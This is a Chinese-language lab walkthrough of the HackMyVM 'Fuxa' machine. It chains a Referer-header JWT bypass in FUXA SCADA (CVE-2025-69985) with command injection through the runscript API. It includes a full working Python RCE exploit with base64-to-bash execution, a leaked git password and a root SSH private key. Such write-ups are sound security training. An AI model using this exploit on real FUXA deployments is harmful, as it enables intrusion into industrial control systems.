跳到主要内容

HackMyVM Fuxa 通关记录|CVE-2025-69985 认证绕过、命令注入与 Git 仓库 Root 密钥泄露

靶机链接:Fuxa

靶机位于内网环境,运行 FUXA SCADA/HMI 系统,目标为获取 root 权限并捕获两个 flag 文件。


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
FUXA192.168.1.112靶机 (FUXA SCADA)

攻击流程

点击展开

攻击链摘要

阶段关键操作作用
端口扫描rustscan -a 192.168.1.112 --range 1-65535 联动 nmap -sV -sC -O发现 22(SSH), 80(Apache), 1881(Node.js FUXA)
认证绕过Referer: http://192.168.1.112:1881/fuxa 头欺骗绕过 JWT 中间件,访问受保护 API
命令注入$(cmd>&2) 注入 s_maint_preview_bundle 脚本获得 www-data RCE
凭据窃取读取 /opt/fuxa/FUXA/server/scripts/local-sync.sh发现 git:wi3fw39w0j12e
SSH 登录sshpass + git 凭据获取 user flag
Git 枚举GIT_DIR=/opt/.cache-loader/state git cat-file blob提取 Root ED25519 私钥
Root 登录ssh -i root_key root@192.168.1.112获取 root flag

0x02 信息收集

1. Rustscan + Nmap 全端口扫描

优先使用 RustScan 进行快速端口发现,再联动 Nmap 做服务识别和脚本扫描:

rustscan -a 192.168.1.112 --ulimit 5000 --range 1-65535 -t 2000 -b 2000 -- -sV -sC -O -oN initial-scan.nmap

RustScan 阶段输出:

Open 192.168.1.112:22
Open 192.168.1.112:80
Open 192.168.1.112:1881

Nmap 详细扫描结果:

Nmap scan report for FUXA.lan (192.168.1.112)
Host is up, received arp-response (0.00052s latency).
Scanned at 2026-07-01 15:13:59 CST for 16s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.66 ((Debian))
|_http-title: FUXA
|_http-server-header: Apache/2.4.66 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: F41C8C98D93BC3B707937D0C0CBFAD04
1881/tcp open http syn-ack ttl 64 Node.js Express framework
|_http-favicon: Unknown favicon MD5: F41C8C98D93BC3B707937D0C0CBFAD04
|_http-title: FUXA
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
MAC Address: 08:00:27:88:97:5C (Oracle VirtualBox virtual NIC)
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Uptime guess: 22.430 days
Network Distance: 1 hop

开放端口汇总:

端口服务版本
22/tcpSSHOpenSSH 10.0p2 Debian 7+deb13u1
80/tcpHTTPApache httpd 2.4.66 (Debian)
1881/tcpHTTPNode.js Express framework (FUXA)

2. Web 指纹识别

# 端口 80 - Apache 前端
curl -s -I http://192.168.1.112/
HTTP/1.1 200 OK
Date: Wed, 01 Jul 2026 07:14:30 GMT
Server: Apache/2.4.66 (Debian)
X-Powered-By: Express
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Access-Control-Allow-Headers: x-access-token, x-auth-user, Origin, Content-Type, Accept
Content-Type: text/html; charset=UTF-8
Content-Length: 23992
# 端口 1881 - Node.js 后端
curl -s -I http://192.168.1.112:1881/
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Access-Control-Allow-Headers: x-access-token, x-auth-user, Origin, Content-Type, Accept
Content-Type: text/html; charset=UTF-8
Content-Length: 23992
# 页面标题确认为 FUXA
curl -s http://192.168.1.112/ | head -10
<!doctype html>
<html data-critters-container>
<head>
<base href="/">
<title>FUXA</title>
<meta charset="UTF-8">

两个端口都返回相同的 FUXA 应用页面。Access-Control-Allow-Headers 中暴露了 x-access-tokenx-auth-user,说明使用 JWT Bearer Token 认证方案。

3. 已披露漏洞检索

searchsploit fuxa
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
FUXA 1.2.8 - Authentication Bypass + RCE Expl | multiple/webapps/52544.py
FUXA V.1.1.13-1186 - Unauthenticated Remote C | typescript/webapps/51385.txt
---------------------------------------------- ---------------------------------

两条公开 exploit:

  • 52544.py — CVE-2025-69985,影响 FUXA ≤ 1.2.8,Referer 头 JWT 认证绕过 + RCE
  • 51385.txt — CVE-2023-33831,影响 FUXA ≤ 1.1.13,未认证 RCE

4. API 端点与认证测试

所有 /api/* 端点被 JWT 中间件保护:

for path in api/user api/users api/signin api/projects api/settings api/version api/runscript; do
echo "GET /$path => $(curl -s -o /dev/null -w '%{http_code}' http://192.168.1.112:1881/$path)"
done
GET /api/user => 401
GET /api/users => 401
GET /api/signin => 401
GET /api/projects => 401
GET /api/settings => 401
GET /api/version => 401
GET /api/runscript => 401

所有端点统一返回 401 Unauthorized


0x03 CVE-2025-69985 JWT 认证绕过

1. 漏洞原理

CVE-2025-69985 (CVSS 9.8) 存在于 server/api/jwt-helper.js 中间件。该中间件在验证 JWT 前检查 HTTP Referer 头,如果 Referer 中包含当前请求的 Host,则完全跳过 JWT 验证

// FUXA server/api/jwt-helper.js 脆弱代码
if (req.headers.referer && req.headers.referer.includes(req.headers.host)) {
return next(); // ← 绕过 JWT 验证
}

攻击者只需伪造 Referer 头,使其包含目标主机地址,即可绕过认证访问所有受保护的 API 端点。

受影响版本:FUXA ≤ 1.2.8。

2. 绕过验证

# 无 Referer 头 → 401 Unauthorized
curl -s -o /dev/null -w '%{http_code}' http://192.168.1.112:1881/api/settings
401

# 带 Referer 头 → 200 OK (绕过成功)
curl -s -o /dev/null -w '%{http_code}' \
-H "Referer: http://192.168.1.112:1881/fuxa" \
http://192.168.1.112:1881/api/settings
200

3. 批量端点绕过测试

for path in api/users api/devices api/settings api/projects api/alarms api/scheduler; do
normal=$(curl -s -o /dev/null -w '%{http_code}' "http://192.168.1.112:1881/$path")
bypass=$(curl -s -o /dev/null -w '%{http_code}' \
-H "Referer: http://192.168.1.112:1881/fuxa" \
"http://192.168.1.112:1881/$path")
echo "$path: normal=$normal, with_referer=$bypass"
done
api/users: normal=401, with_referer=401 ← 仍受第二层保护
api/devices: normal=401, with_referer=404 ← 绕过成功 (路由不匹配)
api/settings: normal=401, with_referer=200 ← ✅ 绕过成功
api/projects: normal=401, with_referer=404 ← 绕过成功 (路由不匹配)
api/alarms: normal=401, with_referer=200 ← ✅ 绕过成功
api/scheduler: normal=401, with_referer=400 ← ✅ 绕过成功 (参数不足)

注意:部分端点 (如 api/users) 即使通过 JWT 中间件,在端点级别仍有额外的权限检查。api/settingsapi/projectapi/alarmsapi/schedulerapi/signin 等可通过 Referer 绕过访问。

4. 获取 FUXA 配置

curl -s -H "Referer: http://192.168.1.112:1881/fuxa" \
http://192.168.1.112:1881/api/settings | jq
{
"version": 1.4,
"language": "zh-cn",
"uiPort": 1881,
"logDir": "/opt/fuxa/_logs",
"logApiLevel": "tiny",
"dbDir": "/opt/fuxa/_db",
"daqEnabled": true,
"daqTokenizer": 24,
"logs": {
"retention": "none"
},
"broadcastAll": false,
"allowedOrigins": [
"http://localhost",
"http://127.0.0.1",
"http://192.168.*",
"http://10.*",
"http://localhost:4200"
],
"heartbeatIntervalSec": 10,
"webcamSnapShotsDir": "/opt/fuxa/_webcam_snapshots",
"webcamSnapShotsCleanup": false,
"webcamSnapShotsRetain": 7,
"swaggerEnabled": false,
"workDir": "/opt/fuxa/_appdata",
"appDir": "/opt/fuxa/FUXA/server",
"packageDir": "/opt/fuxa/_pkg",
"settingsFile": "/opt/fuxa/_appdata/settings.js",
"environment": "prod",
"uploadFileDir": "/opt/fuxa/_appdata/_upload_files",
"imagesFileDir": "/opt/fuxa/_images",
"widgetsFileDir": "/opt/fuxa/_widgets",
"reportsDir": "/opt/fuxa/_reports",
"userSettingsFile": "/opt/fuxa/_appdata/mysettings.json",
"secureEnabled": true,
"tokenExpiresIn": "1h",
"httpUploadFileStatic": "resources",
"httpStatic": "/opt/fuxa/FUXA/client/dist",
"uiHost": "0.0.0.0",
"serverPort": 1881
}

关键信息:

配置项作用
secureEnabledtrue全局启用 JWT 认证
tokenExpiresIn1hJWT 有效期 1 小时
dbDir/opt/fuxa/_db数据库目录 (NeDB)
settingsFile/opt/fuxa/_appdata/settings.jsJWT 密钥配置文件
workDir/opt/fuxa/_appdata应用数据目录

5. 获取项目定义 (含脚本)

curl -s -H "Referer: http://192.168.1.112:1881/fuxa" \
http://192.168.1.112:1881/api/project | python3 -c "
import sys,json; data=json.load(sys.stdin)
print('Top-level keys:', list(data.keys()))
print('Devices:', len(data.get('devices',{})))
print('Scripts:')
for s in data.get('scripts',[]):
print(f' {s[\"id\"]} ({s[\"name\"]}) - permission={s[\"permission\"]}, mode={s[\"mode\"]}')
"
Top-level keys: ['devices', 'hmi', 'version', 'scripts']
Devices: 2
Scripts:
s_maint_preview_bundle (asset_cache_preview) - permission=None, mode=SERVER
rce_calc (rce_calc) - permission=None, mode=SERVER

项目中有两个脚本,permission 均为 None(无限制),mode 均为 SERVER(在服务器端执行)。其中 rce_calc 的名称明显暗示为 RCE 练习用途。


0x04 远程命令执行

1. 命令注入分析

获取 s_maint_preview_bundle 脚本的完整源码:

curl -s -H "Referer: http://192.168.1.112:1881/fuxa" \
http://192.168.1.112:1881/api/project | python3 -c "
import sys,json
data=json.load(sys.stdin)
for s in data.get('scripts',[]):
if s['id'] == 's_maint_preview_bundle':
print(json.dumps(s, indent=2))"
{
"id": "s_maint_preview_bundle",
"name": "asset_cache_preview",
"code": "const { execSync } = require('child_process'); const query = (pattern && pattern.value !== undefined) ? String(pattern.value) : String(pattern || ''); return execSync(`/bin/sh -c \"find /opt/fuxa/_images -maxdepth 2 -type f | grep -i ${query}\"`, { encoding: 'utf8' });",
"sync": false,
"parameters": [
{
"name": "pattern",
"type": "value",
"value": "png"
}
],
"permission": null,
"mode": "SERVER"
}

注入点分析:

// 用户输入的 pattern.value → query 变量
const query = String(pattern.value);

// 模板字符串直接拼接到 shell 命令
execSync(`/bin/sh -c "find ... | grep -i ${query}"`, ...)
// ^^^^^^^^
// 无任何过滤

由于 ${query} 直接拼入 /bin/sh -c "..." 的双引号内,可使用 $(cmd) 命令替换或 "; cmd; echo " 引号突破实现任意命令执行。

2. payload 构造要点

FUXA 的 Angular 前端发送 runscript 请求时,会序列化 Angular HttpHeaders 对象到请求体中:

// main.js 中的 runScript 函数
let ni = new HttpHeaders({"Content-Type": "application/json"});
let Pt = {script, toLogEvent};
this.http.post("/api/runscript", {headers: ni, params: Pt})

因此 POST body 必须包含 headers 字段(带 normalizedNames/lazyUpdate 等 Angular 内部属性),否则服务端解析失败返回 400。

{
"headers": {
"normalizedNames": {},
"lazyUpdate": null,
"lazyInit": null
},
"params": {
"script": { ... },
"toLogEvent": false
}
}

script.id 必须使用项目中已存在的脚本 ID(s_maint_preview_bundlerce_calc),服务端会基于 ID 查找脚本定义。

3. 命令注入 - 基础验证

使用 Python 精确构造 payload,避免 shell 转义问题:

import requests, urllib3, json
urllib3.disable_warnings()

url = 'http://192.168.1.112:1881/api/runscript'

# 命令注入 payload:$(id>&2) 将 id 输出重定向到 stderr
# 原始 shell 命令变为:
# /bin/sh -c "find ... | grep -i $(id>&2)"
# $(id) 被执行,结果输出到 stderr(可见于响应)
injection = '$(id>&2)'

payload = {
'headers': {
'normalizedNames': {},
'lazyUpdate': None,
'lazyInit': None
},
'params': {
'script': {
'id': 's_maint_preview_bundle',
'name': 'asset_cache_preview',
'code': 'placeholder',
'sync': False,
'parameters': [{
'name': 'pattern',
'type': 'value',
'value': injection
}],
'permission': None,
'mode': 'SERVER'
},
'toLogEvent': False
}
}

r = requests.post(url,
headers={
'Content-Type': 'application/json',
'Referer': 'http://192.168.1.112:1881/fuxa'
},
json=payload, timeout=30, verify=False
)
print(f'Status: {r.status_code}')
print(json.loads(r.text).get('stderr', ''))
Status: 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)

命令注入成功,以 www-data 身份执行。

4. Base64 命令执行框架

复杂命令包含空格、分号、引号等特殊字符,直接注入容易破坏 shell 语法。使用 base64 编码 + 管道解码执行规避此问题:

import requests, urllib3, base64, json
urllib3.disable_warnings()

def rce(command):
"""
通过 s_maint_preview_bundle 命令注入执行任意命令
使用 base64 编码避免 shell 特殊字符转义
"""
url = 'http://192.168.1.112:1881/api/runscript'

# 编码命令
b64 = base64.b64encode(command.encode()).decode()

# 注入:$(echo BASE64|base64 -d|bash >&2)
# >&2 将 stdout 重定向到 stderr 以在响应中可见
injection = f'$(echo {b64}|base64 -d|bash >&2)'

payload = {
'headers': {
'normalizedNames': {},
'lazyUpdate': None,
'lazyInit': None
},
'params': {
'script': {
'id': 's_maint_preview_bundle',
'name': 'asset_cache_preview',
'code': 'placeholder',
'sync': False,
'parameters': [{
'name': 'pattern',
'type': 'value',
'value': injection
}],
'permission': None,
'mode': 'SERVER'
},
'toLogEvent': False
}
}

r = requests.post(url,
headers={
'Content-Type': 'application/json',
'Referer': 'http://192.168.1.112:1881/fuxa'
},
json=payload, timeout=30, verify=False
)

try:
data = json.loads(r.text)
return data.get('stderr', data.get('stdout', r.text))
except:
return r.text

0x05 系统侦察 (www-data)

1. 身份与系统信息

print(rce("id; echo '---HOST---'; hostname; echo '---KERNEL---'; uname -a"))
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---HOST---
FUXA
---KERNEL---
Linux FUXA 6.12.86+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian ...
x86_64 GNU/Linux

2. 用户枚举

print(rce("cat /etc/passwd"))
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
git:x:1001:1001:Git:/home/git:/bin/bash ← 注意: 有 bash shell!
sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin

关键发现: git:x:1001:1001/bin/bash,可交互登录。

3. 用户目录

print(rce("ls -la /home/"))
total 12
drwxr-xr-x 3 root root 4096 May 6 23:05 .
drwxr-xr-x 18 root root 4096 May 8 22:50 ..
drwx------ 3 git git 4096 May 8 22:49 git ← 权限 700, www-data 无法进入

4. Cron 任务发现

print(rce("cat /etc/crontab; echo '---CRON.D---'; ls -la /etc/cron.d/"))
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

---CRON.D---
total 20
drwxr-xr-x 2 root root 4096 May 8 22:01 .
drwxr-xr-x 68 root root 4096 May 6 23:12 ..
-rw-r--r-- 1 root root 188 Mar 9 18:53 e2scrub_all
-rw-r--r-- 1 root root 156 Dec 20 2025 fuxa-local-sync ← 自定义 cron!
-rw-r--r-- 1 root root 102 Jun 13 2025 .placeholder
print(rce("cat /etc/cron.d/fuxa-local-sync"))
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * git /opt/fuxa/FUXA/server/scripts/local-sync.sh >/dev/null 2>&1

关键发现: 每分钟以 git 用户身份执行 /opt/fuxa/FUXA/server/scripts/local-sync.sh

5. SUID 二进制文件

print(rce("find / -perm -4000 -type f -ls 2>/dev/null | head -20"))
152670 484 -rwsr-xr-x 1 root root 494144 Feb 3 08:15 /usr/lib/openssh/ssh-keysign
146442 52 -rwsr-xr-- 1 root messagebus 51272 Mar 8 2025 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
131195 72 -rwsr-xr-x 1 root root 72072 May 9 2025 /usr/bin/mount
131308 116 -rwsr-xr-x 1 root root 118168 Apr 19 2025 /usr/bin/passwd
158453 300 -rwsr-xr-x 1 root root 306456 Feb 11 14:22 /usr/bin/sudo
135104 84 -rwsr-xr-x 1 root root 84360 May 9 2025 /usr/bin/su
131304 52 -rwsr-xr-x 1 root root 52936 Apr 19 2025 /usr/bin/chsh
131307 88 -rwsr-xr-x 1 root root 88568 Apr 19 2025 /usr/bin/gpasswd
131197 56 -rwsr-xr-x 1 root root 55688 May 9 2025 /usr/bin/umount
131169 20 -rwsr-xr-x 1 root root 18816 May 9 2025 /usr/bin/newgrp
131302 72 -rwsr-xr-x 1 root root 70888 Apr 19 2025 /usr/bin/chfn

全部为标准系统 SUID 文件,无可利用的异常文件。

6. 网络监听端口

print(rce("ss -tlnp 2>&1"))
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 0.0.0.0:1881 0.0.0.0:* users:(("FUXA",pid=626,fd=27))
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*

FUXA 进程 (pid=626) 以 www-data (uid=33) 身份运行。


0x06 凭据窃取 → Git 用户

1. 读取 Cron 脚本

print(rce("cat /opt/fuxa/FUXA/server/scripts/local-sync.sh"))
#!/bin/bash
set -euo pipefail

LOCAL_HOST="${1:-127.0.0.1}"
GIT_USER="git"
GIT_PASS="wi3fw39w0j12e" # ← 硬编码密码!
REMOTE_CMD="/usr/local/bin/theme-refresh --quick"

exec /usr/bin/sshpass -p "$GIT_PASS" /usr/bin/ssh \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
"${GIT_USER}@${LOCAL_HOST}" "$REMOTE_CMD"

发现硬编码凭据:git:wi3fw39w0j12e

脚本每分钟通过 sshpass + SSH 以 git 用户连接 localhost。

print(rce("ls -la /opt/fuxa/FUXA/server/scripts/local-sync.sh"))
-rwxr-xr-x 1 git git 315 Dec 20 2025 /opt/fuxa/FUXA/server/scripts/local-sync.sh

脚本属主为 git:git,www-data 仅有读权限。

2. SSH 登录

清理已知主机并登录:

ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '192.168.1.112'

sshpass -p 'wi3fw39w0j12e' ssh -o StrictHostKeyChecking=no git@192.168.1.112
Warning: Permanently added '192.168.1.112' (ED25519) to the list of known hosts.

git@FUXA:~$
git@FUXA:~$ id
uid=1001(git) gid=1001(git) groups=1001(git)

0x07 Flag 1: User Flag

git@FUXA:~$ ls -la
total 28
drwx------ 3 git git 4096 May 8 22:49 .
drwxr-xr-x 3 root root 4096 May 6 23:05 ..
lrwxrwxrwx 1 git git 9 May 8 22:49 .bash_history -> /dev/null
-rw-r--r-- 1 git git 220 Mar 8 11:21 .bash_logout
-rw-r--r-- 1 git git 3526 Mar 8 11:21 .bashrc
lrwxrwxrwx 1 git git 9 May 8 22:49 .lesshst -> /dev/null
lrwxrwxrwx 1 git git 9 May 8 22:49 .mysql_history -> /dev/null
lrwxrwxrwx 1 git git 9 May 8 22:49 .node_repl_history -> /dev/null
-rw-r--r-- 1 git git 807 Mar 8 11:21 .profile
lrwxrwxrwx 1 git git 9 May 8 22:49 .python_history -> /dev/null
lrwxrwxrwx 1 git git 9 May 8 22:49 .sqlite_history -> /dev/null
drwx------ 2 git git 4096 May 6 10:31 .ssh
-rw------- 1 git git 43 Dec 20 2025 user.txt ← Flag!
lrwxrwxrwx 1 git git 9 May 8 22:49 .viminfo -> /dev/null
git@FUXA:~$ cat user.txt
flag{git-ba9f11ecc3497d9993b933fdc2bd61e5}

User Flag 获取成功。


0x08 提权探索 (git → root)

1. Sudo 权限

git@FUXA:~$ sudo -l
[sudo] password for git: wi3fw39w0j12e
Sorry, user git may not run sudo on FUXA.

无 sudo 权限。

2. 发现隐藏 Git 仓库

回顾 cron 脚本引用的 /usr/local/bin/theme-refresh

git@FUXA:~$ cat /usr/local/bin/theme-refresh
#!/bin/bash
set -euo pipefail
echo "theme refresh placeholder"

theme-refresh 仅是占位符,但其同级目录有另一个脚本 cache-snapshot

git@FUXA:~$ ls -la /usr/local/bin/
total 16
drwxr-xr-x 2 root root 4096 May 6 10:58 .
drwxr-xr-x 11 root root 4096 Apr 25 06:17 ..
-rwxr-xr-x 1 root root 504 Dec 20 2025 cache-snapshot
lrwxrwxrwx 1 root root 20 May 6 10:09 node -> /opt/node18/bin/node
lrwxrwxrwx 1 root root 19 May 6 10:09 npm -> /opt/node18/bin/npm
lrwxrwxrwx 1 root root 19 May 6 10:09 npx -> /opt/node18/bin/npx
-rwxr-xr-x 1 root root 63 Dec 20 2025 theme-refresh
git@FUXA:~$ cat /usr/local/bin/cache-snapshot
#!/bin/bash
set -euo pipefail

ACTION="${1:-}"
NS="${2:-}"
SLOT="${3:-stable}"
STORE="/opt/.cache-loader/state"
MAP="$STORE/.slots/$NS"

[ -r "$MAP" ] || exit 1

ref="$(awk -v s="$SLOT" '$1==s{print $2}' "$MAP" | tail -n 1)"
[ -n "$ref" ] || exit 1

case "$ACTION" in
verify)
GIT_DIR="$STORE" /usr/bin/git cat-file -e "$ref"
;;
stat)
GIT_DIR="$STORE" /usr/bin/git cat-file -s "$ref"
;;
dump)
GIT_DIR="$STORE" /usr/bin/git cat-file blob "$ref"
;;
*)
exit 1
;;
esac

关键发现: cache-snapshot 操作 /opt/.cache-loader/state Git 仓库,通过 .slots 文件映射 slot 名称到 Git 对象哈希。

3. 检查仓库权限

git@FUXA:~$ ls -la /opt/.cache-loader/
total 12
drwxr-x--- 3 root git 4096 May 6 10:31 . ← 属组 git!
drwxr-xr-x 6 root root 4096 May 6 10:31 ..
drwxr-x--- 8 root git 4096 Dec 20 2025 state

仓库目录 root:git,git 组有读和执行权限。

4. Git 仓库枚举

git@FUXA:~$ find /opt/.cache-loader/state -type f -ls 2>/dev/null
drwxr-x--- 8 root git 4096 Dec 20 2025 state/
drwxr-x--- 2 root git 4096 Dec 20 2025 state/branches/
-rw-r----- 1 root git 66 Dec 20 2025 state/config
-rw-r----- 1 root git 73 Dec 20 2025 state/description
-rw-r----- 1 root git 23 Dec 20 2025 state/HEAD
drwxr-x--- 2 root git 4096 Dec 20 2025 state/hooks/
drwxr-x--- 2 root git 4096 Dec 20 2025 state/info/
drwxr-x--- 6 root git 4096 Dec 20 2025 state/objects/
drwxr-x--- 4 root git 4096 Dec 20 2025 state/refs/
drwxr-x--- 2 root git 4096 Dec 20 2025 state/.slots/
-rw-r----- 1 root git 46 Dec 20 2025 state/.sprite-manifest
-rw-r----- 1 root git 98 Dec 20 2025 state/.slots/icons ← slot 映射
-rw-r----- 1 root git 48 Dec 20 2025 state/objects/cb/...
-rw-r----- 1 root git 278 Dec 20 2025 state/objects/5e/... ← 278 字节, 值得关注

5. 读取 Slot 映射

git@FUXA:~$ cat /opt/.cache-loader/state/.slots/icons
stable 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
fallback cbe10abbd6222a4fe029f5274aac4b35dfd65490
git@FUXA:~$ cat /opt/.cache-loader/state/.sprite-manifest
active=stable
theme=nightshift
build=20260506

当前活跃 slot 为 stable → 对象哈希 5eabba81b7dc9671da29ba0f45f5b6735bf479f8

6. 检查 Git 对象

git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file -t 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
blob

git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file -s 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
278

278 字节的 blob — 这恰好是 ED25519 OpenSSH 私钥的典型大小。

7. 提取 Root SSH 私钥

git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file blob 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0wAAAJAy0ok2MtKJ
NgAAAAtzc2gtZWQyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0w
AAAECU4VgU3F+nMQ7Ty/LKklFRFNgHmSnFZTuq1X5TLBwr+bkMjzAvP1KD4M5GIjKHWSY3
7e9rqQb6zsL+hxnl/V7TAAAACnJvb3RATXViYW4BAgM=
-----END OPENSSH PRIVATE KEY-----

🎉 Root 的 ED25519 SSH 私钥! 注释字段 root@Muban

验证 fallback slot 仅为占位符:

git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file blob cbe10abbd6222a4fe029f5274aac4b35dfd65490
legacy sprite cache placeholder

0x09 Root 登录与 Flag 2

1. 保存私钥并登录

cat > /tmp/root_key << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0wAAAJAy0ok2MtKJ
NgAAAAtzc2gtZWQyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0w
AAAECU4VgU3F+nMQ7Ty/LKklFRFNgHmSnFZTuq1X5TLBwr+bkMjzAvP1KD4M5GIjKHWSY3
7e9rqQb6zsL+hxnl/V7TAAAACnJvb3RATXViYW4BAgM=
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 /tmp/root_key

ssh -i /tmp/root_key -o StrictHostKeyChecking=no root@192.168.1.112
Linux FUXA 6.12.86+deb13-amd64 ...
root@FUXA:~#

root@FUXA:~# id
uid=0(root) gid=0(root) groups=0(root)

2. Root 目录枚举

root@FUXA:~# ls -la /root/
total 32
drwx------ 4 root root 4096 May 8 22:49 .
drwxr-xr-x 18 root root 4096 May 8 22:50 ..
lrwxrwxrwx 1 root root 9 May 8 22:49 .bash_history -> /dev/null
-rw-r--r-- 1 root root 607 Mar 2 16:50 .bashrc
lrwxrwxrwx 1 root root 9 May 8 22:49 .lesshst -> /dev/null
drwxr-xr-x 3 root root 4096 Apr 25 06:38 .local
lrwxrwxrwx 1 root root 9 May 8 22:49 .mysql_history -> /dev/null
lrwxrwxrwx 1 root root 9 May 8 22:49 .node_repl_history -> /dev/null
-rw------- 1 root root 115 May 6 11:21 .npmrc
-rw-r--r-- 1 root root 132 Mar 2 16:50 .profile
lrwxrwxrwx 1 root root 9 May 8 22:49 .python_history -> /dev/null
-rw------- 1 root root 44 Dec 20 2025 root.txt ← Root Flag!
lrwxrwxrwx 1 root root 9 May 8 22:49 .sqlite_history -> /dev/null
drwx------ 2 root root 4096 May 6 08:47 .ssh
lrwxrwxrwx 1 root root 9 May 8 22:49 .viminfo -> /dev/null

3. 获取 Root Flag

root@FUXA:~# cat /root/root.txt
flag{root-a01a6651f93b105d6fa6908d37a43275}

Root Flag 获取成功。


0x10 最终成果 (Final Flags)

User Flag

  • 路径: /home/git/user.txt
  • 大小: 43 字节
  • 内容: flag{git-ba9f11ecc3497d9993b933fdc2bd61e5}

Root Flag

  • 路径: /root/root.txt
  • 大小: 44 字节
  • 内容: flag{root-a01a6651f93b105d6fa6908d37a43275}

复盘总结

攻击链回顾

RustScan + Nmap 全端口扫描

Web 指纹识别 → FUXA SCADA (JWT 认证)

CVE-2025-69985 Referer 头 JWT 绕过 → 访问 /api/settings, /api/project

s_maint_preview_bundle 命令注入 $(cmd>&2) → RCE as www-data

系统侦察 → /etc/cron.d/fuxa-local-sync (每分钟 git 用户执行)

读取 /opt/fuxa/FUXA/server/scripts/local-sync.sh → git:wi3fw39w0j12e

SSH 登录 git → /home/git/user.txt (User Flag)

发现 /opt/.cache-loader/state (bare Git repo, root:git 组可读)

git cat-file blob 提取 → Root ED25519 SSH 私钥

SSH 登录 root → /root/root.txt (Root Flag)

关键教训

  1. JWT 认证不能仅依赖 Referer 头。 CVE-2025-69985 的根本原因是 jwt-helper.js 错误地将 Referer 头作为"内部请求"的可信标记。Referer 头可由攻击者任意伪造,不应作为安全控制的依据。

  2. 模板字符串拼接用户输入到 shell 命令极其危险。 s_maint_preview_bundle 脚本中 execSync(`...${query}...`) 的写法将用户输入直接拼入 shell 命令,即使 FUXA 有 JWT 认证保护,一旦认证被绕过,攻击面就完全暴露。

  3. Cron 脚本不应硬编码凭据。 local-sync.sh 中明文存储的 SSH 密码是通往 git 用户的直接通道。deploy_key 或 SSH key-based authentication 是更安全的替代方案。

  4. Git 仓库权限控制至关重要。 /opt/.cache-loader/state 作为 bare Git repo,设置为 root:git 组可读,导致存储在 blob 中的 Root SSH 私钥被 git 组成员直接提取。敏感数据应使用专门的密钥管理方案(如 Vault、SOPS)而非存入 Git 对象。

  5. 最小权限原则。 git 用户有 /bin/bash shell 但却没有 sudo 权限,然而其组成员身份却能读取 root 拥有的 Git 仓库——这是权限模型设计上的不一致。

涉及漏洞

#漏洞CVECVSS类型
1JWT 认证绕过 (Referer 欺骗)CVE-2025-699859.8Authentication Bypass
2runscript 命令注入Command Injection
3Cron 脚本硬编码凭据Credential Exposure
4Git Bare Repo 敏感信息泄露Sensitive Data Exposure

附件下载

为方便复现,本文涉及的自编脚本已整理到站点静态目录:

文件说明
fuxa_rce.pyCVE-2025-69985 + 命令注入一键 RCE 脚本,支持单命令执行 (-c) 和交互 shell (--shell)

脚本使用示例:

# 漏洞检测
python3 fuxa_rce.py -t http://192.168.1.112:1881 --check

# 单命令执行
python3 fuxa_rce.py -t http://192.168.1.112:1881 -c "id; hostname; cat /etc/passwd"

# 交互式 pseudo-shell
python3 fuxa_rce.py -t http://192.168.1.112:1881 --shell

所有脚本默认使用本文实验 IP 192.168.1.112,若靶机 IP 不同请修改 -t 参数。